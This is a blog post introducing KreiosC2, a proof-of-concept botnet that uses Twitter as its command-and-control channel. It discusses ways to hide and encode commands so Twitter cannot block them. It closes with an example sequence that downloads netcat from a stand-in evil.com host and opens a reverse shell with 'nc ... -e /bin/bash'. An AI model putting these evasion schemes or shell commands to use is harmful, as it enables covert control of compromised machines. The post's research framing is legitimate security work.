KreiosC2..twitter and networking
KreiosC2
KreiosC2 is a proof of concept bot which uses Twitter as its Command and Control channel. Obviously this can be used for malicious purposes but also for good ones, you can set up a bot at home to listen to your Twitter feed and perform actions on it. I’ll discuss the potentially malicious use of it here but it would be easy to take the concepts and use them for good.
They say a picture is worth a thousand words so a video must be worth more, here is a video of KreiosC2 in action put together by Tom Eston for his Defcon talk.
Whats new since version 1?
First the name change. Version 1 of this project was called TwitterBot. Unfortunately, I didn’t do any research before using the name and only after I launched it I realised that there were already a lot of other projects out there with the same name. The name KreiosC2 was created by Tom and is made up from Kreios, a Greek Titan God, and C2 which is the name the military uses to define command and control.
Second, and really more importantly, KreiosC2 now has the ability to dynamically update the control language used and add new features on the fly without any restarts or any manual intervention.
Background
The reason I was thinking about Twitter is it has such a large community that it would be easy to hide random commands in the large amount of data that is generated each day. It also has a really good API that would make integration easy.
My first idea was to have a protected twitter account which only the bots could read. This would restrict who could see the commands but it would be easy for Twitter to block that user. My next thought was to send the commands to random accounts and then have the bot use the search feature to find the commands. This would mean that it would be harder for Twitter to block the messages as the commands could be posted from any account to any other account. For this to work the bot would have to have a way to spot the commands in the general mess of other tweets out there. The problem with this is that if the bot can spot the commands then Twitter could also do the same matching and automatically drop those tweets. This is a harder one to defend against. My plan to defeat this would be to use seemingly innocent commands, such as “check out this link …” to say download a file, which would be hard for Twitter to block without upsetting legitimate users but I don’t know how hard it would be to create a command language based on this.
I proposed these ideas to Tom Eston (from the xc ), who is currently doing work on social media botnets, and to Mubix (who everyone knows). Tom suggested using TinyURL to obfuscate commands or to use hash tags to represent certain things. You could also get the bots to follow certain accounts to mark themselves as bots. If they followed a specific bot master account then they would be easy to spot but having them follow a general account, the BBC say, again they could be lost in the masses unless you knew where to look. Tom is giving a talk at Notacon where he will be talking a bit more about this and other social media bots.
Mubix added the following ideas:
-
Use a time based code that is based on the time of the twitter update so, bots check via the public time line what the current time is, and based on the hour they are checking within ( 7AM, 2PM etc) they have a specific minute to look for a command within (i.e. at 7 PM they are looking for a command at 7:13). This command would be a cipher text posted by one of over a hundred dummy twitter accounts, and no matter how many accounts Twitter got rid of, you could always make more
-
Again going with the key. You could simply use Unix time as part of the post. So, bot checks twitter time based on public stream, converts to Unix time, does a search on twitter for the current Unix time and looks for the second part of the key would be an easy cipher. Once they found the key, it would be: “1239197528 How do I convert this to normal date time?” – And then the bot would take the first letter of each of the words: HDICTTNDT and look up that user then take it’s latest post and issue the command in the post. “ping -t victim.com”
Some interesting ideas on the packet structure have been suggested by Tcrweb at his blog. I’d personally expand the command byte to at least two bytes to allow for expansion but apart from that I like the ideas.
Implementation
Rather than just giving theory I took these ideas and created a small proof of concept. It has a very small command set, just four commands, and is written in Ruby so hopefully won’t be turned malicious any time soon but I hope it demonstrates what is possible.
It goes for my first option of just following a chosen account and then stepping through all its tweets looking for commands to execute. To use it download the package from below and configure it by editing both the kreiosc2_command.rb and kreiosc2.rb. The command app needs to know the account it will be posting messages as and the password needed to access that account. These values go in the SCREEN_NAME and PASSWORD constants near the top of the file. The bot (kreiosc2.rb) just needs to know the screen name to watch, that goes in SCREEN_NAME again, somewhere near the top of the file. You will need Ruby installed and a number of Gems. Rather than try to work out which are needed for this app here is a list of all the ones I have installed, if you install them all it should work fine!
-
crack (0.1.1)
-
echoe (3.1.1)
-
highline (1.5.0)
-
hoe (1.12.1)
-
hpricot (0.8.1)
-
http_configuration (1.0.2)
-
httparty (0.4.2)
-
nokogiri (1.2.3)
-
rake (0.8.4)
-
rcov (0.8.1.2.0)
-
rubyforge (1.0.3)
-
rubyzip (0.9.1)
Both apps will take a --help and give their parameters, the bot is fairly simple, it just starts up, scans for commands then sleeps, wakes and scans again. By default it won’t process any messages prior to the current time, this is useful if you want to start fresh while testing so you can ignore all your old stuff. To have it process all commands it finds add the --previous option.
The commander can be asked to send these commands:
exec
Execute the given command
get
Download the specified file
language
Download and use a new language file
ping
Ping the specified IP address (not domain name, I was playing with input validation)
These commands work best when put together into something like the following set of commands:
-
ping 1.2.3.4 – Get the bot to report home and check it has Internet access
-
get http://www.evil.com/nc – Download netcat
-
exec nc 1.2.3.4 6666 -e /bin/bash – Send a shell home

![Reblog this post [with Zemanta]](http://img.zemanta.com/reblog_a.png?x-id=eea4596c-6999-49d6-870b-cf598da0291f)